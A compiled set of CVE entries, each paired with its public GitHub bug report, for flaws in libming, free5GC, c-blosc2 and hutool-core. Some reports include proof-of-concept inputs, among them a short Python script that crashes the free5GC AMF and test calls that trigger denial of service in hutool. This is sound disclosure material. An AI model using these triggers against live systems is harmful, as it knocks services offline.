## Environment Ubuntu 22.04.3 LTS ## Compiler clang version 11.0.0 Target: x86_64-unknown-linux-gnu Thread model: posix ## Affected Version libming 0.4.8 ## Step to reproduce ```cd libming ./autogen.sh ./configure --disable-shared --disable-freetype cd util ./swftophp <PoC file> ``` ## Contents of PoC file ``` Unzip the file below. ``` [UNZIP_THIS_FILE.zip](https://github.com/libming/libming/files/13604530/UNZIP_THIS_FILE.zip) ## Expected behavior Print error or warning messages handled within swftophp. ## Current behavior ``` header indicates a filesize of 117901066 but filesize is 119 <?php $m = new SWFMovie(10); ming_setscale(1.0); $m->setRate(7.027344); $m->setDimension(0, 0); $m->setFrames(2055); Stream out of sync after parse of blocktype 28 (SWF_REMOVEOBJECT2). 17 but expecting 22. /* SWF_REMOVEOBJECT2 */ $m->remove($i63495); Stream out of sync after parse of blocktype 11 (SWF_DEFINETEXT). 111 but expecting 80. /* SWF_DEFINETEXT */ $character1799 = new SWFText(1); $character1799->setColor(0xf0, 0x0a, 0x0a); outputSWF_TEXT_RECORD: can't process text record: fonts information list is NULL $character1799->addString("X"); /*Unknown block type 333*/ sudden file end: read failed @107 fileSize 119, request 30 extra garbage (i.e., we messed up in main): 0000: 46 57 22 22 07 07 07 07 01 01 01 01 FW"".... .... header('Content-type: application/x-shockwave-flash'); $m->output(9); ?> ================================================================= ==35188==ERROR: LeakSanitizer: detected memory leaks Direct leak of 48 byte(s) in 1 object(s) allocated from: #0 0x4c4478 in realloc /home/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:164:3 #1 0x557895 in parseSWF_DEFINETEXT /home/libming/util/parser.c:2353:51 Direct leak of 23 byte(s) in 1 object(s) allocated from: #0 0x4c40ff in malloc /home/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145:3 #1 0x56bb6d in readBytes /home/libming/util/read.c:252:17 Indirect leak of 624 byte(s) in 1 object(s) allocated from: #0 0x4c40ff in malloc /home/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145:3 #1 0x53b47a in parseSWF_TEXTRECORD /home/libming/util/parser.c:316:26 Indirect leak of 312 byte(s) in 39 object(s) allocated from: #0 0x4c40ff in malloc /home/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145:3 #1 0x53a9b8 in parseSWF_GLYPHENTRY /home/libming/util/parser.c:264:25 Indirect leak of 312 byte(s) in 39 object(s) allocated from: #0 0x4c40ff in malloc /home/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145:3 #1 0x53a6eb in parseSWF_GLYPHENTRY /home/libming/util/parser.c:247:23 SUMMARY: AddressSanitizer: 1319 byte(s) leaked in 81 allocation(s). ``` ## Conclusion If the input file has a manipulated header section, memory leaks occur while parsing the header section in swftophp because parse.c which is the component parsing the header section does not verify that the input file is valid SWF format. I will submit a Pull Request to address this issue.

Memory leaks at parser.c:2353:51

https://api.github.com/repos/libming/libming/issues/289/comments

2023-12-07T19:49:34Z

2023-12-20T01:44:57Z

https://github.com/libming/libming/issues/289

CVE-2023-49391

2023-12-22T11:15:07.517

An issue was discovered in free5GC version 3.3.0, allows remote attackers to execute arbitrary code and cause a denial of service (DoS) on AMF component via crafted NGAP message.

https://github.com/free5gc/free5gc/issues/497

github.com

## Describe the bug When testing the free5gc AMF, it always crashes when receiving invalid NGAP messages. ## To Reproduce Steps to reproduce the behavior: 1. Use https://github.com/free5gc/free5gc-compose as the test target 2. Start it with command `docker compose up` 3. Find the amf address with command `docker inspect free5gc-compose_privnet` 4. Run this POC python script: `python3 free5gc.py amf-address` ```python import sys, sctp, socket if len(sys.argv) != 2: print("Usage: free5gc.py server-address") exit(0) sk = sctp.sctpsocket_tcp(socket.AF_INET) sk.connect((sys.argv[1], 38412)) sk.sctp_send(b"Hello!", ppid=socket.htonl(60)) sk.close() ``` ## Expected behavior I think the expected behavior is rejecting the connection request. The current behavior is that the AMF crashes and unable to restart. This could cause DOS attack to the AMF funtionality. When receiving NGAP message, it should validate the message content and reject malformed messages. ## Screenshots  ## Environment (please complete the following information): - free5GC Version: v3.3.0 - OS: Ubuntu 20.04 Server - Kernel version: 5.4.0-165-generic ## Trace File ### Configuration File Use the default config file of free5gc-compose ### PCAP File [ngap.zip](https://github.com/free5gc/free5gc/files/13163030/ngap.zip) ### Log File ```text n3iwf | free5GC version: v3.3.0 n3iwf | build time: 2023-06-08T16:41:03Z n3iwf | commit hash: 22988ee2 n3iwf | commit time: 2023-06-07T05:56:10Z n3iwf | go version: go1.17.13 linux/amd64 n3iwf | 2023-10-25T07:44:00.771477845Z [INFO][N3IWF][CFG] Read config from [./config/n3iwfcfg.yaml] n3iwf | 2023-10-25T07:44:00.774585151Z [INFO][N3IWF][Main] Log enable is set to [true] n3iwf | 2023-10-25T07:44:00.775936035Z [INFO][N3IWF][Main] Log level is set to [info] n3iwf | 2023-10-25T07:44:00.775944386Z [INFO][N3IWF][Main] Report Caller is set to [false] n3iwf | 2023-10-25T07:44:00.775946917Z [INFO][N3IWF][Init] Server started n3iwf | 2023-10-25T07:44:00.783345437Z [WARN][N3IWF][CTX] Parse PKCS8 private key failed: x509: failed to parse private key (use ParsePKCS1PrivateKey instead for this key format) n3iwf | 2023-10-25T07:44:00.787204900Z [INFO][N3IWF][CTX] Parse using PKCS1... n3iwf | 2023-10-25T07:44:00.802363531Z [WARN][N3IWF][Init] netlink.RouteAdd: file exists n3iwf | 2023-10-25T07:44:00.802403761Z [INFO][N3IWF][Init] Setup XFRM interface xfrmi-default amf | 2023-10-25T07:44:00.806365569Z [INFO][AMF][Ngap] [AMF] SCTP Accept from: 10.100.200.13/10.0.0.1:39401 n3iwf | 2023-10-25T07:44:00.823230904Z [INFO][N3IWF][NGAP] [N3IWF] Send NG Setup Request n3iwf | 2023-10-25T07:44:00.838772233Z [INFO][N3IWF][Init] NGAP service running. amf | 2023-10-25T07:44:00.833948377Z [INFO][AMF][Ngap] Create a new NG connection for: 10.100.200.13/10.0.0.1:39401 amf | 2023-10-25T07:44:00.851111321Z [INFO][AMF][Ngap][ran_addr:10.100.200.13/10.0.0.1:39401] Handle NGSetupRequest amf | 2023-10-25T07:44:00.851129648Z [WARN][AMF][Ngap][ran_addr:10.100.200.13/10.0.0.1:39401] Missing IE PagingDRX amf | 2023-10-25T07:44:00.851147752Z [INFO][AMF][Ngap][ran_addr:10.100.200.13/10.0.0.1:39401] Send NG-Setup response n3iwf | 2023-10-25T07:44:00.854214403Z [INFO][N3IWF][Init] NAS TCP server successfully started. n3iwf | 2023-10-25T07:44:00.868424664Z [INFO][N3IWF][Init] Listening NWu user plane traffic n3iwf | 2023-10-25T07:44:00.880093826Z [INFO][N3IWF][NGAP] [N3IWF] Handle NG Setup Response n3iwf | 2023-10-25T07:44:00.895830913Z [INFO][N3IWF][Init] IKE service running. n3iwf | 2023-10-25T07:44:00.896054523Z [INFO][N3IWF][Init] N3IWF running... webui | 2023-10-25T07:44:20.644588072Z [ERRO][WEBUI][CTX] RestfulAPIGetMany err: server selection error: context deadline exceeded, current topology: { Type: Unknown, Servers: [{ Addr: db:27017, Type: Unknown, Last error: connection() error occured during connection handshake: dial tcp: lookup db on 127.0.0.11:53: server misbehaving }, ] } amf | 2023-10-25T07:44:24.920922234Z [INFO][AMF][Ngap] [AMF] SCTP Accept from: <nil> amf | 2023-10-25T07:44:24.921416064Z [FATA][AMF][Ngap] panic: runtime error: invalid memory address or nil pointer dereference amf | goroutine 65 [running]: amf | runtime/debug.Stack() amf | /usr/local/go/src/runtime/debug/stack.go:24 +0x65 amf | github.com/free5gc/amf/internal/ngap/service.handleConnection.func1() amf | /go/src/free5gc/NFs/amf/internal/ngap/service/service.go:184 +0x58 amf | panic({0xbb3280, 0x13088a0}) amf | /usr/local/go/src/runtime/panic.go:1038 +0x215 amf | github.com/free5gc/amf/internal/ngap.Dispatch({0xdf2988, 0xc000472000}, {0xc0008c0000, 0x40000, 0x40000}) amf | /go/src/free5gc/NFs/amf/internal/ngap/dispatcher.go:19 +0xac amf | github.com/free5gc/amf/internal/ngap/service.handleConnection(0xc000472000, 0x40000, {0xd03d48, 0xd03d58, 0xd03d50}) amf | /go/src/free5gc/NFs/amf/internal/ngap/service/service.go:237 +0x417 amf | created by github.com/free5gc/amf/internal/ngap/service.listenAndServe amf | /go/src/free5gc/NFs/amf/internal/ngap/service/service.go:158 +0x9fe ``` ## System architecture (Option) N/A ## Walkthrough (Option) free5GC will be interested on the research or finding in brief. ## Additional context It will be appreciated if other context can be added here.

[Bugs] AMF crashed when receving invalid NGAP messages

https://api.github.com/repos/free5gc/free5gc/issues/497/comments

2023-10-25T08:11:58Z

2023-12-04T09:48:25Z

https://github.com/free5gc/free5gc/issues/497

CVE-2023-37185

2023-12-25T07:15:08.793

C-blosc2 before 2.9.3 was discovered to contain a NULL pointer dereference via the function zfp_prec_decompress at zfp/blosc2-zfp.c.

https://github.com/Blosc/c-blosc2/issues/519

github.com

**Describe the bug** Null Pointer Dereferencing at line **391** in [plugins/codecs/zfp/blosc2-zfp.c](https://github.com/Blosc/c-blosc2/blob/86fc0f66aa6dd079dbf79d775dc9dc1462830ffd/plugins/codecs/zfp/blosc2-zfp.c#LL391C29-L391C29). This is caused due to using a pointer to a chunk which does not exist. This bug is in the function `zfp_prec_decompress`. **To Reproduce** Run the fuzzing harness `fuzz_decompress_chunk` with the attached input (in Zip File) [null-ptr-1.zip](https://github.com/Blosc/c-blosc2/files/11807475/null-ptr-1.zip) **Expected behavior** Check whether the chunk is a correct pointer at line 390. **Logs** If applicable, add logs to help explain your problem. **System information:** - OS: Ubuntu 20.04 - Compiler: clang-11 - Version: Latest commit on `main` branch **Additional context** This bug has been found by fuzzing.

Null Pointer Dereferencing bug in plugins/codecs/zfp/blosc2-zfp.c

https://api.github.com/repos/Blosc/c-blosc2/issues/519/comments

2023-06-20T21:10:32Z

2023-06-21T09:17:02Z

https://github.com/Blosc/c-blosc2/issues/519

CVE-2023-37186

2023-12-25T07:15:08.980

C-blosc2 before 2.9.3 was discovered to contain a NULL pointer dereference in ndlz/ndlz8x8.c via a NULL pointer to memset.

https://github.com/Blosc/c-blosc2/issues/522

github.com

**Describe the bug** Null Pointer Dereferencing at line 465 in [plugins/codecs/ndlz/ndlz8x8.c](https://github.com/Blosc/c-blosc2/blob/86fc0f66aa6dd079dbf79d775dc9dc1462830ffd/plugins/codecs/ndlz/ndlz8x8.c#LL465C5-L465C5). This is caused due to passing a null ptr to `memset`. **To Reproduce** Run the fuzzing harness in tests/fuzz `fuzz_decompress_chunk` with the attached input (in Zip File) [null-ptr-4.zip](https://github.com/Blosc/c-blosc2/files/11807552/null-ptr-4.zip) **Expected behavior** **Logs** If applicable, add logs to help explain your problem. **System information:** - OS: Ubuntu 20.04 - Compiler: clang-11 - Version: latest commit on `main` branch **Additional context** This bug has been found by fuzzing.

Null Pointer Dereferencing bug in plugins/codecs/ndlz/ndlz8x8.c

https://api.github.com/repos/Blosc/c-blosc2/issues/522/comments

2023-06-20T21:22:07Z

2023-06-21T09:17:58Z

https://github.com/Blosc/c-blosc2/issues/522

CVE-2023-37187

2023-12-25T07:15:09.183

C-blosc2 before 2.9.3 was discovered to contain a NULL pointer dereference via the zfp/blosc2-zfp.c zfp_acc_decompress. function.

https://github.com/Blosc/c-blosc2/issues/520

github.com

**Describe the bug** Null Pointer Dereferencing at line **152** in [plugins/codecs/zfp/blosc2-zfp.c](https://github.com/Blosc/c-blosc2/blob/86fc0f66aa6dd079dbf79d775dc9dc1462830ffd/plugins/codecs/zfp/blosc2-zfp.c#LL152C19-L152C19). This is caused due to using a pointer to a chunk which does not exist. This bug is in function `zfp_acc_decompress`. **To Reproduce** Run the fuzzing harness `fuzz_decompress_chunk` with the attached input (in Zip File) [null-ptr-2.zip](https://github.com/Blosc/c-blosc2/files/11807486/null-ptr-2.zip) **Expected behavior** Check whether the chunk is a correct pointer at line 151. **Logs** If applicable, add logs to help explain your problem. **System information:** - OS: Ubuntu 20.04 - Compiler: clang-11 - Version: Latest commit on `main` branch **Additional context** This bug has been found by fuzzing.

Null Pointer Dereferencing bug in plugins/codecs/zfp/blosc2-zfp.c

https://api.github.com/repos/Blosc/c-blosc2/issues/520/comments

2023-06-20T21:11:25Z

2023-06-21T09:17:12Z

https://github.com/Blosc/c-blosc2/issues/520

CVE-2023-37188

2023-12-25T07:15:09.347

C-blosc2 before 2.9.3 was discovered to contain a NULL pointer dereference via the function zfp_rate_decompress at zfp/blosc2-zfp.c.

https://github.com/Blosc/c-blosc2/issues/521

github.com

**Describe the bug** Null Pointer Dereferencing at line **641** in [plugins/codecs/zfp/blosc2-zfp.c](https://github.com/Blosc/c-blosc2/blob/86fc0f66aa6dd079dbf79d775dc9dc1462830ffd/plugins/codecs/zfp/blosc2-zfp.c#L641). This is caused due to using a pointer to a chunk which does not exist. This bug is in function `zfp_rate_decompress`. **To Reproduce** Run the fuzzing harness in tests/fuzz `fuzz_decompress_chunk` with the attached input (in Zip File) [null-ptr-3.zip](https://github.com/Blosc/c-blosc2/files/11807499/null-ptr-3.zip) **Expected behavior** Check whether the chunk is a correct pointer at line 640. **Logs** If applicable, add logs to help explain your problem. **System information:** - OS: Ubuntu 20.04 - Compiler: clang-11 - Version: Latest commit on `main` branch **Additional context** This bug has been found by fuzzing.

Null Pointer Dereferencing bug in plugins/codecs/zfp/blosc2-zfp.c

https://api.github.com/repos/Blosc/c-blosc2/issues/521/comments

2023-06-20T21:13:30Z

2023-06-21T09:17:20Z

https://github.com/Blosc/c-blosc2/issues/521

CVE-2023-51075

2023-12-27T21:15:08.300

hutool-core v5.8.23 was discovered to contain an infinite loop in the StrSplitter.splitByRegex function. This vulnerability allows attackers to cause a Denial of Service (DoS) via manipulation of the first two parameters.

https://github.com/dromara/hutool/issues/3421

github.com

### 版本情况 JDK版本： openjdk_8_201 hutool-core版本： 5.8.23 ### 问题描述（包括截图） 在使用StrSplitter.splitByRegex函数时，如果前两个参数为“”，无论后两个参数如何设置，执行程序会进入死循环，最终都会导致程序崩溃（OOM or StackOverFlow）。 1. 复现代码 ```java import org.junit.Test; import cn.hutool.core.text.*; import java.util.List; public class StrSplitterFuzzerSplitByRegex { // OOM or StackOverFlow @Test public void splitByRegexFuzzerTest() { try { List<String> result = StrSplitter.splitByRegex("", "", 0, false, true); } catch (Exception e) { } } } ``` 2. 堆栈信息 a. StrSplitter.splitByRegex("", "", 0, false, false) ``` java.lang.OutOfMemoryError: Java heap space at java.base/java.util.Arrays.copyOf(Arrays.java:3689) at java.base/java.util.ArrayList.grow(ArrayList.java:238) at java.base/java.util.ArrayList.grow(ArrayList.java:243) at java.base/java.util.ArrayList.add(ArrayList.java:486) at java.base/java.util.ArrayList.add(ArrayList.java:499) at cn.hutool.core.text.split.SplitIter.toList(SplitIter.java:146) at cn.hutool.core.text.split.SplitIter.toList(SplitIter.java:128) at cn.hutool.core.text.StrSplitter.split(StrSplitter.java:402) at cn.hutool.core.text.StrSplitter.splitByRegex(StrSplitter.java:382) at PoC.hutool.core.StrSplitterFuzzerSplitByRegex.splitByRegexFuzzerTest(StrSplitterFuzzerSplitByRegex.java:13) at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.base/java.lang.reflect.Method.invoke(Method.java:566) at org.junit.runners.model.FrameworkMethod$1.runReflectiveCall(FrameworkMethod.java:59) at org.junit.internal.runners.model.ReflectiveCallable.run(ReflectiveCallable.java:12) at org.junit.runners.model.FrameworkMethod.invokeExplosively(FrameworkMethod.java:56) at org.junit.internal.runners.statements.InvokeMethod.evaluate(InvokeMethod.java:17) at org.junit.runners.ParentRunner$3.evaluate(ParentRunner.java:306) at org.junit.runners.BlockJUnit4ClassRunner$1.evaluate(BlockJUnit4ClassRunner.java:100) at org.junit.runners.ParentRunner.runLeaf(ParentRunner.java:366) at org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:103) at org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:63) at org.junit.runners.ParentRunner$4.run(ParentRunner.java:331) at org.junit.runners.ParentRunner$1.schedule(ParentRunner.java:79) at org.junit.runners.ParentRunner.runChildren(ParentRunner.java:329) at org.junit.runners.ParentRunner.access$100(ParentRunner.java:66) at org.junit.runners.ParentRunner$2.evaluate(ParentRunner.java:293) at org.junit.runners.ParentRunner$3.evaluate(ParentRunner.java:306) at org.junit.runners.ParentRunner.run(ParentRunner.java:413) at org.junit.runner.JUnitCore.run(JUnitCore.java:137) at com.intellij.junit4.JUnit4IdeaTestRunner.startRunnerWithArgs(JUnit4IdeaTestRunner.java:69) ``` b. StrSplitter.splitByRegex("", "", 0, false, true) ``` java.lang.StackOverflowError at java.base/java.util.regex.Pattern$Start.match(Pattern.java:3619) at java.base/java.util.regex.Matcher.search(Matcher.java:1729) at java.base/java.util.regex.Matcher.find(Matcher.java:773) at cn.hutool.core.text.finder.PatternFinder.start(PatternFinder.java:51) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:74) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95) ```

StrSplitter.splitByRegex函数使用过程中出现OOM or StackOverFlow

https://api.github.com/repos/dromara/hutool/issues/3421/comments

2023-12-11T12:24:53Z

2023-12-11T20:29:51Z

https://github.com/dromara/hutool/issues/3421

CVE-2023-51080

2023-12-27T21:15:08.397

The NumberUtil.toBigDecimal method in hutool-core v5.8.23 was discovered to contain a stack overflow.

https://github.com/dromara/hutool/issues/3423

github.com

### 版本情况 JDK版本： openjdk_8_201 hutool-core： 5.8.23（请确保最新尝试是否还有问题） ### 问题描述（包括截图） 在hutool-core的5.8.23版本中，调用NumberUtil.toBigDecimal方法时，如果入参为“NaN”，程序会崩溃，报StackOverflowError 1. 复现代码 ```java import org.junit.Test; import cn.hutool.core.util.*; import java.math.BigDecimal; public class NumberUtilFuzzerToBigDecimal { @Test public void toBigDecimalFuzzerTest() { try { BigDecimal result = NumberUtil.toBigDecimal("NaN"); } catch (Exception e) { } } } ``` 2. 堆栈信息 ``` java.lang.StackOverflowError at java.base/sun.util.locale.provider.LocaleResources.getDecimalFormatSymbolsData(LocaleResources.java:172) at java.base/java.text.DecimalFormatSymbols.initialize(DecimalFormatSymbols.java:628) at java.base/java.text.DecimalFormatSymbols.<init>(DecimalFormatSymbols.java:113) at java.base/sun.util.locale.provider.DecimalFormatSymbolsProviderImpl.getInstance(DecimalFormatSymbolsProviderImpl.java:85) at java.base/java.text.DecimalFormatSymbols.getInstance(DecimalFormatSymbols.java:180) at java.base/sun.util.locale.provider.NumberFormatProviderImpl.getInstance(NumberFormatProviderImpl.java:183) at java.base/sun.util.locale.provider.NumberFormatProviderImpl.getNumberInstance(NumberFormatProviderImpl.java:149) at java.base/java.text.NumberFormat.getInstance(NumberFormat.java:921) at java.base/java.text.NumberFormat.getInstance(NumberFormat.java:907) at java.base/java.text.NumberFormat.getInstance(NumberFormat.java:475) at cn.hutool.core.util.NumberUtil.parseNumber(NumberUtil.java:2686) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227) at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250) ... ```

NumberUtil.toBigDecimal方法报StackOverflowError

https://api.github.com/repos/dromara/hutool/issues/3423/comments

2023-12-13T06:23:42Z

2024-01-11T02:39:14Z

https://github.com/dromara/hutool/issues/3423

